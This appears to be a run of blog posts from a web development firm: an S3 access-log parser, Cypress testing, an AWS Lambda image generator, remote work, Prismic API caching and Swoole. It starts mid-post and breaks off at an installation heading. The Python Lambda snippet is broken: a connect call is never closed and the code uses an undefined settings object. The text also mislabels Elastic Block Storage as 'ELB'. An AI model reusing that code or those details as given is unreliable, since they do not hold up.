However, after reviewing what stats we can get from AWS S3 we found out that unfortunately AWS doesn’t have a service or an API which could return the information we needed. We had to find another way to solve this case.

The solution

AWS Amazon S3 has an option to activate Amazon S3 Server Access Logging. It provides detailed records of the requests made to a bucket. Each access log record provides details about every single access request, such as the requester, bucket name, request time, request action, response status and an error code, if relevant. By default, logging is disabled. When it is enabled, logs are saved to a bucket in the same AWS Region as the source bucket. Well, sounds like all of the information we need, but in raw format.

We built an open source PHP package to parse Amazon S3 access logs into a readable JSON format. It can be integrated in any PHP platform (Laravel, Symfony, Drupal and so on) via composer. S3 Logs Parser gets the total number of downloads and the transferred bytes for every bucket's file per day. You can easily collect this information daily with a cron job and store it in your local database to see bucket's files usage. The setup of the parser is easy and straightforward so here is a step-by-step integration guide.

Note: If you don’t have a bucket already you have to sign up for a new Amazon AWS account and obtain your credentials. Once you’re ready with this step and have an active S3 account you can proceed to create your bucket via the AWS Management Console. Then finally you have to enable logging so S3 will start to deliver access logs for your source bucket to a target bucket that you choose. Otherwise our parser won’t be able to access the information you need.

<?php

use S3LogsParser\S3LogsParser;

$S3LogsParser = new S3LogsParser([
    'version' => 'latest',
    'region' => $awsBucketRegion,
    'access_key' => $awsAccessKey,
    'secret_key' => $awsSecretKey,
]);

$output = $S3LogsParser->getStats($awsBucketName, $awsBucketPrefix, $date);
dd($output);

In order to initialize the service you will need a few input parameters - the details of the bucket itself and a few access keys parameters which you can obtain from AWS. Then you can easily use the parser object to collect the stats you need. The output of the result should look like this:

{
    "success":true,
    "statistics":{
        "bucket":"bn-test",
        "prefix":"bp-2018-10-31",
        "data":{
            "test.png":{
                "downloads":4,
                "bandwidth":4096
            },
            "test2.png":{
                "downloads":2,
                "bandwidth":2048
            }
        }
    }
}

If you are having any troubles, please don’t hesitate to open a ticket on GitHub - https://github.com/mtrdesign/s3-logs-parser/issues

We mainly focus on satisfying the functional requirements of our clients (and getting things done) but we always keep in mind the importance of testing our products especially when it comes to big projects with longer development time and dynamically changing requirements. Taking this into account we decided to try a new testing approach in one of our latest projects.

The project in question is a marketing platform for real estate professionals that combines social media posting & scheduling, image/video content creation, turnkey websites, and email & SMS marketing. As for the tech stack - the main web application is built with Laravel + Vue.js, with a bunch of microservices written in Python and Go.

We have good experience with the standard approaches for testing such web projects, both the smaller and granular unit and feature http tests with PHPUnit, and the more complex browser tests with tools like Behat or Dusk. All of those methods are great but we have experienced one particular problem in the past, the bigger the project - the slower the build. Yet we couldn’t skip the testing process so we decided to try a different approach. In order to ensure the quality of the application and to reduce the regression bugs we would stick only to e2e testing. This time we wanted to build a standalone testing environment which would not depend on the code itself. Our ultimate goal is to be able to test the system as it is available to the end users, so we can ensure that the onboarding process of every new user is working as expected. In particular we wanted to cover all main cases of usage and the whole array of features in the specific user journey workflow.

Last but not least we wanted to experiment with new tools and to extend our tech stack. The JavaScript world is still booming and there are a lot of great services out there, so we decided to see what the market is offering and choose the best e2e testing library to build a standalone automated testing environment instead of the repeatable manual user testing cycle. And so began our search for the best tool we could use in our case.

Chapter 1: Cypress

Our first choice was Cypress. It was allegedly a fast, easy and reliable testing tool for anything that runs in a browser. Besides the expected testing features (such as toolkit with wide range of assertions and possibilities to write tests, test runner with support for multiple browsers and different types of reports generation) this library provides a few game changers which makes it stand out. Cypress takes snapshots as your tests run so you can time travel to see exactly what happened at each step of your tests. It offers great debugging capabilities as well. Stop guessing why your tests are failing - debug directly from familiar tools like Chrome DevTools, which provides readable errors and stack traces making debugging lightning fast. Furthermore there is built-in support for taking screenshots of the failed tests and even videos of entire test suites (handy, right?). All of those marketing hooks seemed attractive enough so we decided to give Cypress a try.

Getting started with Cypress

Note: The purpose of this article is to review the different testing libraries and provide you with some feedback so you can choose the right tool for your case. Thus you cannot consider that this article is a tutorial or step-by-step guide. If you need some official guidelines you can visit the Cypress’ page and read the official docs.

Our first task is to download and set up the required dependencies and because we’re in the JavaScript world now we simply have to rely on npm (at least it was our choice, you can see how to do it or what are all available methods here). It may take a while (depending on your internet connection) but soon you’ll be ready to write your first test.

describe('Home Page', () => {
  it('should load successfully', () => {
    cy.visit('/');
 
    cy.get('.description h1')
      .should(($item) => {
        expect($item).to.contain('Hello world!');
      });
  });
});

As you can see it comes with clean and descriptive BDD syntax which makes it easy to read and understand every step of your tests. You can interact with the web page with standard query selectors and use a predefined set of assertions in order to verify whether a specific action has been performed, i.e. to verify whether the expected results are met. One more thing to acknowledge - there is built-in smart automatic waiting. You don’t have to add waits or sleeps to your tests (it’s kind of a nightmare with all of those asynchronous actions). Cypress automatically waits for commands and assertions before moving on which in my opinion makes the job much easier (yeah, no more async hell). Well, we’re ready to move on and run our first test, I know you’re all curious to see the test runner.

As you can see on the screenshot above, it does not simply run a browser and execute the set of actions in the tests, it also provides a UI wrapper with details for all tests and steps. You can click on each action and the preview will automatically time travel to the captured snapshot so you can inspect carefully and see the state of your app at every moment (usually the other test services simply report the error in the console and you have to replicate the issue by yourself). This tool is helpful first when you write scenarios or later when you have to debug some of the failed tests but you can omit it and start the test runner headlessly when you are ready to integrate it into your build process.

Let’s add some real world tests

We’ve got Cypress up and running so we can go further and test some real world scenarios containing more interactions with the webpages. Usually you’ll have at least one form in your website (in our project we’ve got a lot) so it’s a good start to test the capabilities of the framework. For example we will use our Sign Up form because it’s made up of fields of different types, and gives us plenty of different components to work with.

import faker = require('faker');
 
describe('Sign Up Page', () => {
 
  const formValues = {
    firstName: faker.name.firstName(),
    lastName: faker.name.lastName(),
    companyName: faker.lorem.company(),
    email: faker.internet.email(),
    phone: faker.phone.phoneNumber(),
    city: faker.address.city(),
    state: 'California',
    marketingStrategies: ['Website']
  };
 
  it('should submit the form successfully', () => {
    cy.visit('/signup');
 
    cy.get('#registration--first-name')
      .type(formValues.firstName)
      .should('have.value', formValues.firstName);
 
    // skipped some input fields...
 
    cy.get('#registration--state')
      .select(formValues.state, { force: true })
      .should('have.value', formValues.state);
 
    cy.get('form').submit();
 
    cy.get('.alert.alert-success')
      .should('be.visible')
      .should(($alert) => {
        expect($alert).to.contain('Message for the results');
      });
 });
 
});

The workflow is simple and straightforward - visit a page, select the different input fields, add some test values, finally submit the form and check for a successful message. You may notice that we are using faker.js in order to generate dummy test values. This way we don’t stick to hard-coded values which will remain fixed forever. Also, by using different values on every execution, we may increase our chance to catch some corner cases. The other thing in the above example which may draw your attention is that we force the selection of the select element value. The reason for this is that we’re not using a standard select element for this particular field, instead we rely on the select2 library which provides a more complex component with a rich set of additional features (if you’re not familiar with it you should definitely take a look). Still it’s a select element. Well with a lot of additional helper markup, but yet a select tag so we can target it the same way as the standard html elements. The only difference is that we have to force the change of the value because it has to propagate the event to the whole chain.

it('should report form errors on submit if provided empty form', () => {
   cy.visit('/signup');
 
   cy.get('form').submit();
 
   cy.get('.alert.alert-danger').should('be.visible');
 
   cy.get('.alert.alert-danger ul > li')
     .should(($list) => {
       expect($list).to.have.length(8)
       expect($list.eq(0)).to.contain('The first name field is required.');
       expect($list.eq(1)).to.contain('The last name field is required.');
       expect($list.eq(2)).to.contain('The company name field is required.');
       expect($list.eq(3)).to.contain('The email field is required.');
       // ...
     });
 });

Of course sometimes things mess up so we won’t forget to add a bunch of negative tests. We will use the occasion to show the handy syntax when you want to assert multiple expectations of fields which belong to the same query selector. Before we dive deeper into even more complex test scenarios have a break and take a look again at the awesome test runner.

Test protected routes and complex workflows

Our tests are executed in an isolated environment which slightly differs from the real website usage. In this case there are a lot of prerequisite steps which are required in order to test some scenarios. One of the most common examples is that of features hidden behind protected routes. As a user you have to login to the site once and then you can use all of its features but we can’t apply the same logic when we write our tests. Also we can’t afford to open the login UI, to fill and submit the form before every test, this will add an enormous overhead which will significantly slow down the whole process. Fortunately there is a solution how to avoid such complications - Browser Requests and Custom Commands.

Cypress.Commands.add('login', (user) => {
  if (!user) {
    user = Cypress.env('user');
  }
 
  cy.request('/signin')
    .its('body')
    .then((body) => {
      const $html = Cypress.$(body)
      const csrf = $html.find('input[name=_token]').val()
 
      cy.request({
        method: 'POST',
        url: '/login',
        failOnStatusCode: false,
        form: true,
        body: {
          email: user.email,
          password: user.password,
          _token: csrf,
        },
      }).then((resp) => {
        expect(resp.status).to.eq(200);
      });
 });
 
});

Cypress comes with its own API for creating custom commands which can be used to define a specific set of actions reusable across your test suites. This allows us to define a login command and use it later when we have to test some of the features for the authenticated users. Also, you can see that this command is not interacting with the UI (almost*). Then we send a direct POST request to the login route with the valid credentials in order to authenticate the user without any interaction with the UI (at least we don’t type in values in the input fields). Now we can use the command in our tests before the actual test logic.

*Note: We have to fetch the markup of the login form in order to obtain the security csrf token, otherwise we can’t submit the form successfully. But this is only because we’re using Laravel, you can omit this part if you can authenticate your users only with their credentials.

beforeEach(() => {
  cy.login(user);
});

Cypress support hooks, blocks which are executed before/after a specific test/suite (you may be familiar with them, such hooks are widely supported across many other testing frameworks like Jasmine, Mocha, etc.) and we think it’s the best place to use our login command. This way we ensure that all of the tests inside the current suite will be executed for successfully authenticated users without unnecessary code duplications. You may notice that we are using another unknown method in the command snippet above. Cypress comes with a built-in support for environment variables so you can use them to provide some non-static data to your tests. In our case, we use env variables to obtain the default user credentials so we don’t have to hardcode any production data in the codebase.

{
  "baseUrl": "http://localhost:8000",
  "user": {
    "email": "user@mtr-design.com",
    "password": "our-secure-password"
  }
}

Once we are ready with all of those pre-conditions we can finally try to execute some slightly more complicated tests. Our goal is to verify whether Cypress is able to interact with as many different page components as possible. We’ve got a perfect match for this job, here is the workflow that we’ll try to cover:

1. Login to the application (use the command instead of real login via the UI)
2. Go to a specific listing page with multiple records
3. Interact with table element, select a few rows via checkbox elements
4. Open a modal and wait it to fetch its body from the server (it’s dynamic, so again this is an async operation)
5. Use a Select2 component in order to apply some changes and submit an inline form. Wait for the response of the async submission, verify the results and close the modal.
6. Verify whether the performed changes are applied by inspecting the UI of the page after reload.

it('should assign multiple tags to a contact', () => {
   cy.visit('/profile/contacts');
 
   for (let i=1; i <= 3; ++i) {
     cy.get('#contacts-table tr').eq(i)
       .find('td input[type="checkbox"]')
       .check()
       .should('be.checked');
   }
 
   cy.get('.btn-manage-tags').click();
   cy.get('#modal-global').should('be.visible');
 
   const tag1 = faker.random.word();
   const tag2 = faker.random.word();
 
   cy.get('#contact--tags + .select2')
     .click()
     .find('input.select2-search__field')
     .type(`${tag1}{enter}`);
 
   cy.get('#contact--tags')
     .invoke('val')
     .should('deep.equal', [tag1]);
 
   cy.get('#contact--tags + .select2')
     .click()
     .find('input.select2-search__field')
     .type(`${tag2}{enter}`);
 
   cy.get('#contact--tags')
     .invoke('val')
     .should('deep.equal', [tag1, tag2]);
 
   cy.get('#form--contacts-tags')
     .submit();
 
   cy.get('#form--contacts-tags .alert.alert-success')
     .should('be.visible')
     .should(($alert) => {
       expect($alert).to.contain('The tags have been successfully changed.');
     });
 
   cy.get('#form--contacts-tags .btn[data-dismiss="modal"]').click();
   cy.get('#modal-global').should('be.not.visible');
 
   for (let i=1; i <= 3; ++i) {
     cy.get('#contacts-table tr').eq(i)
       .find('td .badge')
       .should(($badges) => {
         expect($badges).to.have.length(2);
         expect($badges.eq(0)).to.contain(tag1);
         expect($badges.eq(1)).to.contain(tag2);
       });
   }
});

The purpose of this code snippet is to perform the actions described above. You may notice a few new ways to interact with the UI - iteration through multiple objects of the same type via loops and visibility check. In the current case we have to select multiple table rows and we don’t have to copy the code N times in order to be sure of the synchronous execution of the statements. We simply can rely on a regular for loop and it does the trick. Also in this test case we introduce another assertion - we check whether a specific element is visible or not. There’s nothing special about it but reminds me to give you the complete list of supported Cypress Assertions so you can get familiar with it. And last but not least, take a look again at the test runner and the execution of all those complex steps. Enjoy.

We can spend more time exploring the abilities of the Cypress library but our goal here is to check multiple services and choose the best one that works for us. So it’s time to stop here. We performed various tests and learned how to use basic features and how to construct more complex scenarios. All of those observations are sufficient to conclude that Cypress is a great tool, built with a lot of effort and we would be glad to use it in our project later and so on. It comes with a seamless learning curve, great documentation and a wide community so you can always find the answer of your questions easily.

That’s it. Before we proceed to the next tool in our list we’ll use the moment to suggest you again to take a look at the Cypress project and give it a try. Let us know if you do this and what your impressions are. We’re curious to hear your experience and whether you liked it or not.

Read part 2 of "On a way to find the perfect e2e testing tool"

Given that our client’s entire infrastructure was based in Amazon Web Services (AWS), we were limited to the following options to complete the task:

• To use a single EC2 instance;
• To create an Auto Scaling Group (ASG) using EC2 instances;
• To use Lambda serverless function.

Let's quickly go through these three options and shed some light on the choice we made:

• If we choose the option with a single EC2 instance, we should create a really powerful one, because we don’t know what the workload would be. This would result in significant bills for our clients and might also bring along problems in case the workload becomes too high for the instance we use. If this happens, we’ll have to stop the instance in order to upgrade to a more powerful one, which will lead to additional costs. The load can be reduced at any time, but the service works constantly. Furthermore, some problems might arise with the instance itself, the connection loss in a given area, etc.
• Choosing the ASG approach seems a lot better – we can start with one small (and cheap) EC2 instance, and the group will generate a given number of additional instances, where necessary. Unfortunately, however, this option also has some significant disadvantages – for example, when shutting down the instances, we don’t know which of them exactly will be stopped by the AWS. This means that an instance might be shut down while generating an image, which will create extra work for the dev team to handle such situations and the same e-flyer will be unnecessarily generated twice. Although this option is not pricey, the instance in question is running all the time, which still generates costs regardless of whether it’s really needed or not.
• The Lambda function. If you’re not familiar with it, this function allows you to build some complex functionalities without maintaining any virtual machines yourself. The idea of this service is to perform relatively small tasks, just like the one we have. And its use doesn’t generate additional costs – you can deploy as many Lambda functions as you want, basically for free (using the AWS free tier account), and you are charged only for the real usage of your functions.

Needless to say, price is an important factor here, and reducing the clients’ costs is of utter importance to us. That’s why we decided to calculate and compare the prices of different sample loads and decide what would be best approach:

Bear in mind that:

• These calculations are approximate;
• They are based on average e-flyer generation time of 5 minutes and 1024Mb of required memory;
• The prices don’t cover any fees for Elastic Block Storage (ELB), which will further increase the cost of the two options relying on EC2 instances;
• Configuring more complex infrastructure and further changes to it generates additional costs (this mainly concerns EC2 and ASG).

The price differences between the three options speak for themselves, even if we don’t include the infrastructure configuration costs. So the obvious choice here is the Lambda function.

* In order to calculate these prices, we used the information from the following websites:

• https://www.ec2instances.info
• https://dashbird.io/lambda-cost-calculator/

So, we have chosen the infrastructure for our task. The next step is to think how this task should reach the front-end, where the users upload their images and create e-flyer generation processes. Surely, most of you would say that the obvious solution to this is Amazon Simple Queue Service (SQS). Generally speaking, this service is indeed perfect for the purpose, however, due to the specifics of our project, we’ve chosen another approach.

Our front-end uses Laravel, which in turn uses cron. The latter performs different tasks every minute, i.e. we have a resource that is working anyway. So we decided to simply add one more task to the current cron job, which in turn would directly invoke the Lambda function with the required parameters. This may seem like the wrong architecture solution to some of you, but we have a different opinion. Here are some of the reasons why we chose this approach for the project:

• Using Lambda function with SQS will prolong the application development process, the process of building and configuring the infrastructure, but in the end the result will be the same.
• When using cron to directly invoke the Lambda function, Laravel performs only one task, without caring what happens next, which generally means less development time.
• Generally speaking, the Lambda function shouldn’t have access to the database, but in our case this isn’t a problem. This function works on a single project, so it’s not intended to work with other databases, nor to be used with other external dependencies. So, in our case, this is a perfectly acceptable compromise.

So far, so good – we have chosen the infrastructure and the way of communication between the systems. We only have to write the Lambda function itself. We decided that the most appropriate way to do it is with Python. Why? Because there are great Python image processing libraries, the code is easy to write and maintain, and also easy to debug.

So from now on, the easiest way to proceed is to simply put in the code we need and let the magic happen. It sounds as easy as pie, but we had several issues to solve first:

• some of the libraries used by the generator will also be used by other Lambda functions;
• we had to provide a connection between the Lambda function and the SQL server, which is located on a separate EC2 instance, without any external access to it;
• we had to find a way to make the Lambda function use the images uploaded by the users, and to save them in a way which allows the front-end to access them.

We solved the first issue by creating a Lambda layer for storing the packages we need. Actually, this isn’t as simple as it seems, because if some of the libraries you use are dependent on the operating system they are working on, they must be compiled on this specific OS. And as Lambda functions use AWS Linux, there are two ways to compile such libraries:

• creating an EC2 instance using AWS Linux AMI, and terminating it after you’re done (https://aws.amazon.com/amazon-linux-ami/);
• using Docker with AWS Linux, so that you can compile the libraries you need on your local machine (https://hub.docker.com/_/amazonlinux).

Another thing worth noting is that when you use Lambda Layer(s), Python may not find the libraries you need. So, you should add a variable PYTHONPATH with value /opt/ to your Environment variables.

In regards to the problem with accessing the database - if your database is created in an Amazon Virtual Private Cloud (VPC) with no access from the Internet, you will also need to configure the access to your VPC from the settings of the Lambda function (you can check https://docs.aws.amazon.com/lambda/latest/dg/configuration-vpc.html for more details on how to do this).

So, the only thing that’s left is the issue with the access to the images, and we decided to use Amazon Simple Storage Service (S3). On the one hand, this would allow serving the images directly to the users’ browsers without causing any load on our servers, and on the other, we would have access to them from different applications without having to complicate the application code unnecessarily.

And finally, here are the exact steps to create a Lambda function with the AWS web console:

1. First, go to Lambda menu -> Functions -> Create a Function

2. Choose the programming language and the name of your function. In case you wish to use a specific role of the function, select ‘Choose or create an execution role’

3. Add the respective variables which will be used by the Lambda function code:

Choose edit environment variables from the page of the function

Add the respective variables from the page which will load

4. In order to connect to instances in some of the virtual private clouds (VPC) you use, you should add VPC and follow the instructions on the webpage.

5. Then, you may use a similar code to connect to the AWS resources database. To this end, we use Python packages pymysql and boto3.

import os
import dotenv
import boto3
import pymysql.cursors

dotenv.load_dotenv()
MYSQL_HOST = str(os.getenv('MYSQL_HOST'))
MYSQL_USERNAME = str(os.getenv('MYSQL_USERNAME'))
MYSQL_PASSWORD = str(os.getenv('MYSQL_PASSWORD'))
MYSQL_DATABASE = str(os.getenv('MYSQL_DATABASE'))
MYSQL_PORT = int(os.getenv('MYSQL_PORT'))
AWS_ACCESS_KEY_ID = str(os.getenv('CUSTOM_AWS_ACCESS_KEY_ID'))
AWS_SECRET_ACCESS_KEY = str(os.getenv('CUSTOM_AWS_SECRET_ACCESS_KEY'))
AWS_DEFAULT_REGION = str(os.getenv('CUSTOM_AWS_DEFAULT_REGION'))
AWS_BUCKET = str(os.getenv('AWS_BUCKET'))

mysql = pymysql.connect(
	host=settings.MYSQL_HOST,
	user=settings.MYSQL_USERNAME,
	password=settings.MYSQL_PASSWORD,
	db=settings.MYSQL_DATABASE,
	port=settings.MYSQL_PORT,
	charset='utf8mb4',
	cursorclass=pymysql.cursors.DictCursor,
	autocommit=True
    
s3 = boto3.client(
	's3',
	settings.AWS_DEFAULT_REGION,
	aws_access_key_id=settings.AWS_ACCESS_KEY_ID,
	aws_secret_access_key=settings.AWS_SECRET_ACCESS_KEY,
)

6. Adding a Layer

Whereas the boto3 package doesn’t require any further actions, the pymysql requires installation. So, if you are going to use it in more than one function, you may configure it as a Layer. In order to do that, use the button ‘Create layer’ from the Lambda menu -> Layers.

Then, in the page which will load, you should fill out the name of the Layer, the environment in which it will be used (in our case - Python 3.7), as well as a description and a license, if you wish. Do have in mind that packages larger than 50Mb have to be uploaded in S3 beforehand.

Then, from the function you configured, use the Layers button to add the layer you’ve just created:

7. And finally, here is how the new Lambda function looks like:

The example presented above is of course simplified and incomplete – after all, it’s intended to provide you with a general idea of how to generate images with AWS Lambda and the steps you need to follow.

In order to use your new function, you’ll need its ARN (Amazon Resource Name), which is located at the upper end of the page:

We should also note that the way to call the function will vary, depending on the environment in which you will use it.

Most certainly, there are other ways to execute this task. In our view, however, the way we did it could be described as an optimal and stable solution that meets the requirements of our project and minimizes the infrastructure costs. We use it in production for more than four months now, and we haven’t encountered any problems, even though the workload is constantly increasing, as we expected.

Last but not least, we haven’t reached the free tier limits for the AWS services used for the time being, so the generation of e-flyers in our project is still free.

In light of the Covid-19 pandemic, a lot of things changed both in our personal lives and in the way businesses function. Plenty of companies were forced to operate remotely, and this move turned out to be a serious challenge for most of them. There's no doubt that such a transition can strain professional connections, and that both employees and employers might need some time to adapt to their new workplace reality. However, remote work has sneaked in the web digital world long before the Coronavirus outbreak, and flattening the curve of the health crisis actually isn't its only advantage.

Yet, it seems that working on-site is still the corporate standard. Mainly because it's generally believed to be easier managing on-site employees, monitoring their performance and upgrading their skills. The managers in lots of companies, especially bigger ones, simply don't trust their employees enough. They're used to relying on sensor-based methods for measuring productivity - working hard is when the whole team is "heads down" on their desks, or when people are coming early to the office and leaving late. Another major concern is that the insufficient face time between remote working colleagues leads to disengagement, miscommunication, errors and inefficiencies. As a result, there are lots of companies whose infrastructures and cultures have never been suited (and are now struggling) to support working outside of the office.

But as off-site work is currently experiencing a sharp surge, we wonder whether it might become the new normal. Over the years, remote work has had its upward and downward trends, and the Yahoo and IBM stories is an interesting examples. 

In 2013, the Yahoo's newly-hired CEO Marissa Mayer recalled their home employees, in an effort to encourage better collaboration. Nonetheless, several months later she acknowledged that productivity is actually better when employees are working alone (from home). Meanwhile, more than a third of staff had left in that year, and rumor has it that most remote workers actually continued telecommuting.

A few years later, in 2017, IBM asked thousands of employees to come back to a traditional office as company leaders believed that working together in person would foster more innovation. A shocking move, especially considering the history of the company which had been a pioneer for remote work throughout the 1980s and 1990s, and by 2009 40% of their global employees already worked at home (IBM reported that that policy allowed the company to sell off its office buildings at a gain of almost $2 billion). That remote reversal coincided with 20 consecutive quarters of decreasing revenue for IBM, however, by looking at the financial reports from the following years it does not look like things have changed significantly for the company. What has been confirmed though is that the elimination of the IBM's remote work policy resulted in the exodus of many senior talented employees who valued that flexibility.

Working from home in Bulgaria

As you might expect, the corporate perception of remote work in Bulgaria isn't much different than the global one. 

Before the Covid-19 outbreak the majority of companies offered on-site jobs only, with many advertising several days a month remote option. On top of this laughably limited offer, a lot of companies actually allowed working from home only to senior employees. It is generally believed that junior employees are unable to upgrade their skills properly if they work remotely. We cannot disagree more with this perception and we'll tell you why.

We've hired several people without any experience and they have grown out to be very solid and professional web developers while working entirely remotely. There are people in our team who have started out working from their homes, and now, several years later, they are one of our strongest full-stack developers and devops.

While it really must be difficult for larger companies to organize their remote employees, the question is not whether telecommuting can work, but how to make it work efficiently. To put it simply, it's not about the staff, it's about the management. There's an ever growing number of tools and technologies that can help both employers and employees achieve their mutual goals.

Besides, numerous studies show that remote workers are happier and healthier due to their better work-life balance and that translates into increased productivity for their employer.

Our experience with telecommuting

As a web development company operating remotely for 12 years now, we passionately believe that remote is the new normal. So, here, we'd like to share our own experience with remote work and why we prefer keeping it that way.

We actually did have an office in Sofia until 2008. Then, after weighing all the pros and cons, we decided to switch to working remotely 100%. Here are some of the advantages of off-site operation:

• We don't waste two hours every day in commuting. So, people can instead use this time (roughly 10 hours per week per person) to relax, be with their families, friends, or do whatever makes them happy.
• We can choose freely where to live, so we aren't forced to spend our time in crowded cities, if we don’t want to.
• We can concentrate better and increase our effectiveness as there aren't any of the usual distractions related to working in an office with 20 colleagues or more.
• We make up for distance with regular communication (Slack, daily standups, project meetings, pair programming sessions, one-on-one calls). We also organize team meetings several times a year and spend some quality time together over a pint and some nice dish. Besides, some people form our team have developed cordial relationships over the years and often meet up over the weekend.
• We also find telecommuting has done good to our communication with clients, 99% of whom are based abroad (US, Australia, elsewhere in Europe). So, we have to work remotely with their product owners, project managers, designers & developers anyway. In such cases our experience in remote working is actually a big plus.

In these challenging times the business will surely have to learn new ways to be flexible and this is where the companies that already have adopted remote working will have the upper hand. 

The project represents a simple presentation website built with Laravel and is served by a shared web hosting. The interesting part is that this site is not working with the standard approach for SQL database, it doesn’t store any local data. All of the content data is fetched from Prismic instead. Prismic is a SaaS tool for editing online content, part of the recent headless CMS trend. It sounded that this was not a design decision made by the previous developers but a request from the clients (or their UX guys) so they can manage their content easily.

First impressions

We quickly confirmed that there’s a real issue here - the first page load of the site took a lot of time, more particularly 13.38s. Yes, the browser cached some of the resources and on the next attempt the loading time was reduced to 8.29s but yet it’s not acceptable. And we have to keep in mind that the most important is the first touch of the visitors with this site which still takes insanely long time (of course if they decide to wait and not close the tab in the meantime).

Time to analyze the metrics

We have some experience with website optimizations since we had to do this for multiple projects over the years. That's why we thought that the main issue is related to the huge amount of requests for the different assets of the site (styles, scripts, images, etc.). Because of this our first step in analyzing this issue was to see what the Google PageSpeed Insights tool would say about it. And the results were... Let’s just say bad.

The overall score of 24 generally speaks for itself but at least we can take a look at the different parts of the report and focus on the main issues. We were surprised to see that the assets were not part of the problem at all (as we initially thought). Even more, they were well optimized and we wouldn’t benefit anything if we tried to compress them. So we focussed on the other parts of the report, the initial page load in particular. We can see that the first response from the server takes much longer than usual and we can notice this on both the PageSpeed Insights report and the browser’s network waterfall.

Invest in hardware

We knew that the website is served by a shared hosting and potentially it may cause the huge page load time (low cost server, geo location, etc.). We decided to run the website on one of our servers and set up a staging environment.

Note for the specs gurus: We use an OVH server with 8 cores Intel(R) Xeon(R) CPU E3-1270 v6 @ 3.80GHz, 64 GB of RAM and NVMs for the storage.

The results of this action were immediate, we managed to reduce the page load time with up to 80% (7.44s) simply by changing the server. It was the first step but it was not enough. Such load time is still not acceptable and may lead to bad business results so we moved on with our analysis.

Step up further into performance analysis

We live in times when if we have a software problem we try to fix it by maxing up the hardware... and this is exactly what we did in the current case. But this approach doesn’t fix the real problem itself, it simply bypasses the issues and masks them out until we run out of possibilities to increase the hardware anymore. As we already noticed, the response time of the first request to the server is unusually long which means that we still have some problems there. But since we already improved the performance once by changing the server this means that the rest of the issues reside somewhere in the codebase. We have a lot of Laravel projects, much more complex and resource consuming than this site and yet we can’t compare the bad results to any other of them. We had to move back to investigate the real issue.

It took some time to debug the project, toggled some of the used services in order to measure possible differences in the page load time. The project is not that big and actually the list of 3rd party services was not that long but unfortunately we couldn’t notice any significant improvements yet. This led us to dig deeper into the workflow of the app, we started to measure the execution time of each step and finally we found something disturbing which we initially ignored.

As we already said, this site is not using a local database to store all of the data, yet the templates are not hard coded with static content. All the data is stored on the Prismic servers and in order to render a specific page the website has to fetch it via their API (rings a bell, right?). They provide a wide range of tools and libraries for accessing their API according to your platform. There is a well documented official PHP starter kit which is integrated in the current project so the communication with the API is served via a valid source. Actually it’s used more than enough, there are pages which make multiple requests to the API in order to fetch all of the required data. Also there are some shared requests which are made from every page in order to obtain some general layout details (header, footer, etc). The results are clear and we already observed them in the graphs above, all of those requests to the 3rd party API cost time and since we’re not using a modern SPA we have to wait to collect all of the responses before we start to render the page.

Let’s cache the results

We make a lot of requests to the Prismic API, and some of them are repetitive for every page. Laravel comes with great Cache service integration so we decided to give it a try and create a wrapper of the Prismic service. The idea was simple, when we need some data first check whether it’s already present in the cache, otherwise send a request to the API and save the response.

function query($predicates, array $options = [])
{
    $cacheKey = $this->getCacheKey($predicates, $options);
      
    if (Cache::has($cacheKey)) {
       return Cache::get($cacheKey);
    }
 
    $this->init();
 
    $query = Cache::rememberForever($cacheKey, function () use ($predicates, $options) {
        return $this->api->query($predicates, $options);
    });
 
    return $query;
}

As you can see in the code snippet above we decided to keep the names of the standard Prismic Service methods and input parameters. This way we make our service more convenient so you can integrate it easily with your existing codebase and also don’t have to learn how to use it, you just have to rely on the official docs. There is no dark magic under the hood, we simply use the Cache service. The only decision which we had to make is how to generate the cache keys because we have to identify somehow the different responses. The answer may be straightforward, since every response belongs to a specific request URI but the current implementation of the Prismic service doesn’t allow you to access the request URI before the whole object is constructed and the actual request is sent. This option is not suitable for our use-case because we have to check the store before the dispatch of the actual request. 

function getCacheKey($predicates, array $options = []): string
{
   $cacheKey = 'prismic:';
      
   if (!is_array($predicates)) {
       $predicates = [$predicates];
   }
 
   foreach($predicates as $predicate) {
       $cacheKey .= $predicate->name . ':' . $predicate->fragment . ':' . implode(',', $predicate->args) . ';';
   }
 
   foreach($options as $key => $option) {
      $cacheKey .= $key . ':' . $option . ';';
   }
 
   return $cacheKey;
}

Our workaround includes all of the details which we have in order to construct the request query and we simply put them all in use. The cache key represents a simple string with concatenated predicates and options, the same which are provided as a query parameters to the request later. Also you may notice that we prefix the cache key with a simple keyword, it’s due to Laravel's Cache Tags limitations. This way we insure the identity of every single outgoing request and once we receive a response it will be stored for future use.

The only thing left to do is to integrate the new cacheable Prismic service with the existing website and check whether the results are satisfying enough (drum rolls). Well, as we already mentioned that we kept the names of the standard Prismic API library the only thing which we had to do is to change which service to be used across the whole codebase.

Refresh the browser and check the results again

The page appeared immediately! Yes, you guessed it, those changes turned out to be a tremendous improvement of the overall performance. We can measure up to 500% performance improvement with our new page load of 1.23s. These stats are even more impressive compared to the initial situation, the site loads up to 12 times faster than before (which is up to 987% if we stick to the same metric). Also, you can notice that now it costs 347ms to receive the first response from the server, where are the actual changes we made. We can mark this job as done and be honest that we couldn’t imagine that we would be so satisfied with the final results.

We’re glad of our achievement, so we share it with you. Here is a gist with our Prismic Service with cache support, ready to be used in your project. Let us know if you find it useful and how big is the impact of the changes to your application. Stay tuned for more puzzles and our solutions.

Not so long time ago we posted about ReactPHP and the application we made using it. We were so pleased working with ReactPHP that for some time we thought that we found the best solution for us so far.

But the last thing one can say about our job as developers is that we lack dynamics. Our field is frenzy and ever changing and in order to thrive we need to observe and try everything that’s new and promising. And sometimes it turns out we found a gem. Soon after we finished our project with ReactPHP we came across something new and even faster than ReactPHP – Swoole.  

Swoole is an event-driven asynchronous & coroutine-based concurrency networking communication engine with high performance written in C and C++ for PHP. And below is the list of its functionalities and advantages as given by the Swoole team themselves:

• Purely C-compiled, with extremely powerful performance;
• Simple and easy to use, development-efficient;
• Event-driven, non-blocking asynchronous processing;
• Supporting millions of concurrent TCP connections;
• TCP/UDP/UnixSock;
• Server/client;
• Supporting asynchronous/synchronous/coroutine;
• Supporting multiprocessing/multi-threading;
• CPU affinity/daemon process;
• Supporting IPv4/IPv6 networks.

At the beginning I thought that Swoole was just like ReactPHP, but coded as an extension. After I looked deeper I realized that the work the Swoole team did was much more than I had imagined. It wasn’t only the asynchronous loop – the engine had and supported almost everything one needed to build the fastest application! An officially provided PHP network framework, extended and developed based on Swoole, supports HTTP, FastCGI, WebSocket, FTP, SMTP, RPC and other network protocols. The framework manages to make the process of many master and worker processes just as seamless as a few lines of callback code.

How to install it

